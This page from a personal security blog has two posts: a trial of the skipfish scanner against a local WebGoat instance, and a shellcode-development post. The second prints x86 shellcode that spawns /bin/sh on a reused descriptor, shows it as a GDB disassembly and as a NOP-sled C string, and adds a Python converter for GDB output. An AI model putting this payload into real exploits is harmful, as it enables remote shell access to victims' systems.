security – Page 2 – muellis blog

I just had the time to play around with skipfish and WebGoat. Both projects are actually awesome. Not only because they try to solve an important problem and are free, but also because it is very easy to get started. It is really just a matter of downloading, unpacking and running.

“WebGoat is a deliberately insecure J2EE web application maintained by OWASP designed to teach web application security lessons” and tries to make it easy to teach and learn WebSec. It includes various lessons that the user has to take by solving a hackme. Of course, the usual suspects like XSS, SQLi or CSRF are covered. But they also ship AJAX, concurrency or HTTP problems.

As I read about skipfish over the last weeks, I was actually looking for a standard webapp that security assessment tools could run against so that the tools could be compared. I thought no such thing existed and was delighted to see WebGoat.

Installing and running WebGoat is very easy because it comes in a self contained bundle that works out of the box (for me at least 😉 ). As far as I can see, it also seems to work pretty well. However, there’s lots of room for improvement. They could equip the “Show Code” function with a source code highlighter, get rid of all the unnecessary JavaScript to make it work even if no JavaScript is turned on, double check their lessons whether they actually work (Hints in Prepared Statement SQLi are useless) or even dwell down on technical details during explanation of lessons. Or at least point to some good explanation. I know, these are ambitious goals, but eventually someone with a big pile of money comes around and badly needs to spend it 😉

“Skipfish is an active web application security reconnaissance tool. It prepares an interactive sitemap for the targeted site by carrying out a recursive crawl and dictionary-based probes” and the further description sounds promising. So I gave it a try and again, it was as easy as downloading, unpacking, making and running.

I then ran it against the site to see how much it’ll get:
./skipfish -W dictionaries/complete.wl -A guest:guest -o /tmp/sf-results-simple-sqli-full 'http://127.0.0.1:8080/webgoat/attack?Screen=75&menu=1200'

It produces a self contained (read: 30MB) webpage which is actually nice to browse. The results, however, were not too exciting. It didn’t actually find any serious issue which I thought was interesting, given that WebGoat is deliberately insecure. I’ve uploaded the results and invite you to browse them 🙂

Due to developing shellcode during the recent days, I ended up needing to convert GDB output to C style strings very often. My sample output from GDB looks like this:
(gdb) disassemble function Dump of assembler code for function function: 0x08048254 <function+0>: push %ebp 0x08048255 <function+1>: mov %esp,%ebp 0x08048257 <function+3>: pop %ebp 0x08048258 <function+4>: jmp 0x8048268 <begin> 0x0804825a <function+6>: inc %ecx 0x0804825b <function+7>: inc %ecx 0x0804825c <function+8>: inc %ecx 0x0804825d <function+9>: inc %ecx 0x0804825e <function+10>: jmp 0x80482b3 <bottom> 0x08048260 <function+12>: pop %esi 0x08048261 <function+13>: mov %esi,%esp 0x08048263 <function+15>: sub $0x78,%esp 0x08048266 <function+18>: xor %edi,%edi 0x08048268 <begin+0>: mov %edi,%eax 0x0804826a <begin+2>: inc %eax 0x0804826b <begin+3>: inc %eax 0x0804826c <begin+4>: int $0x80 0x0804826e <begin+6>: test %eax,%eax 0x08048270 <begin+8>: je 0x8048288 <child> 0x08048272 <parent+0>: mov %edi,%eax 0x08048274 <parent+2>: mov $0xa2,%al 0x08048276 <parent+4>: push $0x11111111 ---Type <return> to continue, or q <return> to quit--- 0x0804827b <parent+9>: push $0x11111111 0x08048280 <parent+14>: mov %esp,%ebx 0x08048282 <parent+16>: mov %edi,%ecx 0x08048284 <parent+18>: int $0x80 0x08048286 <parent+20>: jmp 0x8048272 <parent> 0x08048288 <child+0>: mov -0x204(%esi),%ebx 0x0804828e <child+6>: mov %edi,%ecx 0x08048290 <child+8>: mov $0x3f,%al 0x08048292 <child+10>: int $0x80 0x08048294 <child+12>: inc %ecx 0x08048295 <child+13>: mov %edi,%eax 0x08048297 <child+15>: mov $0x3f,%al 0x08048299 <child+17>: int $0x80 0x0804829b <child+19>: inc %ecx 0x0804829c <child+20>: mov %edi,%eax 0x0804829e <child+22>: mov $0x3f,%al 0x080482a0 <child+24>: int $0x80 0x080482a2 <execshell+0>: mov %edi,%eax 0x080482a4 <execshell+2>: mov %al,0x7(%esi) 0x080482a7 <execshell+5>: push %eax 0x080482a8 <execshell+6>: push %esi 0x080482a9 <execshell+7>: mov %edi,%edx 0x080482ab <execshell+9>: mov %esp,%ecx ---Type <return> to continue, or q <return> to quit--- 0x080482ad <execshell+11>: mov %esi,%ebx 0x080482af <execshell+13>: mov $0xb,%al 0x080482b1 <execshell+15>: int $0x80 0x080482b3 <bottom+0>: call 0x8048260 <function+12> 0x080482b8 <bottom+5>: das 0x080482b9 <bottom+6>: bound %ebp,0x6e(%ecx) 0x080482bc <bottom+9>: das 0x080482bd <bottom+10>: jae 0x8048327 <__floatdisf+55> 0x080482bf <bottom+12>: inc %ecx 0x080482c0 <bottom+13>: ret End of assembler dump. (gdb) x/98xb 0x0804825e 0x804825e <function+10>: 0xeb 0x53 0x5e 0x89 0xf4 0x83 0xec 0x78 0x8048266 <function+18>: 0x31 0xff 0x89 0xf8 0x40 0x40 0xcd 0x80 0x804826e <begin+6>: 0x85 0xc0 0x74 0x16 0x89 0xf8 0xb0 0xa2 0x8048276 <parent+4>: 0x68 0x11 0x11 0x11 0x11 0x68 0x11 0x11 0x804827e <parent+12>: 0x11 0x11 0x89 0xe3 0x89 0xf9 0xcd 0x80 0x8048286 <parent+20>: 0xeb 0xea 0x8b 0x9e 0xfc 0xfd 0xff 0xff 0x804828e <child+6>: 0x89 0xf9 0xb0 0x3f 0xcd 0x80 0x41 0x89 0x8048296 <child+14>: 0xf8 0xb0 0x3f 0xcd 0x80 0x41 0x89 0xf8 0x804829e <child+22>: 0xb0 0x3f 0xcd 0x80 0x89 0xf8 0x88 0x46 0x80482a6 <execshell+4>: 0x07 0x50 0x56 0x89 0xfa 0x89 0xe1 0x89 0x80482ae <execshell+12>: 0xf3 0xb0 0x0b 0xcd 0x80 0xe8 0xa8 0xff 0x80482b6 <bottom+3>: 0xff 0xff 0x2f 0x62 0x69 0x6e 0x2f ---Type <return> to continue, or q <return> to quit--- 0x73 0x80482be <bottom+11>: 0x68 0x41 (gdb) Quit
And my desired output are the bytes in these strings:

char shcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 /* First the NOPs*/
 "\xeb\x04"              /* Jump over the ret addr */
 "\x41\x41\x41\x41"        /* wannabe ret addr */
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 /* Second NOP slide */
 "\xeb\x5d\x5e\x89\xf4\x81\xec\xc8\x00\x00\x00\x31\xff\xb8\x02\x00\x00\x00\xcd\x80\x85\xc0\x74\x17\xb8\xa2\x00\x00\x00\x68\xb8\x0b\x00\x00\x68\xb8\x0b\x00\x00\x89\xe3\x89\xf9\xcd\x80\xeb\xe9\x8b\x9e\xfc\xfd\xff\xff\x89\xf9\xb8\x3f\x00\x00\x00\xcd\x80\x41\xb8\x3f\x00\x00\x00\xcd\x80\x41\xb8\x3f\x00\x00\x00\xcd\x80\x89\xf8\x88\x46\x07\x50\x56\x89\xfa\x89\xe1\x89\xf3\xb0\x0b\xcd\x80\xe8\x9e\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41"
 /* that's the shellcode */

So I built a quick and dirty script which does the conversion and helped me saving a lot of time. Is there any better way of making gdb output the shellcode directly?

#!/usr/bin/env python
import sys
 
paginator  = '''---Type  to continue, or q  to quit---'''
 
def convert (to_convert):
    retlines = []
    for line in to_convert.splitlines():
        if line.startswith('--'):
            continue
        pos = line.find(":")
        newline_string = line[pos+1:]
        for needle, replacement  in (('\t', ''),
                       ('0x', r'\x'),
                       ('\n', ''),
                       (paginator, '')):
            newline_string = newline_string.replace(needle, replacement)
        retlines.append (newline_string)
    return "".join(retlines)
 
if __name__ == "__main__":
    to_convert = sys.stdin.read()
    converted = convert (to_convert)
    print converted

Want to take a guess what the shellcode actually does? It’s not too hard to see though.

Tag: security

Skipfish versus WebGoat

Convert GDB output to C-style shellcode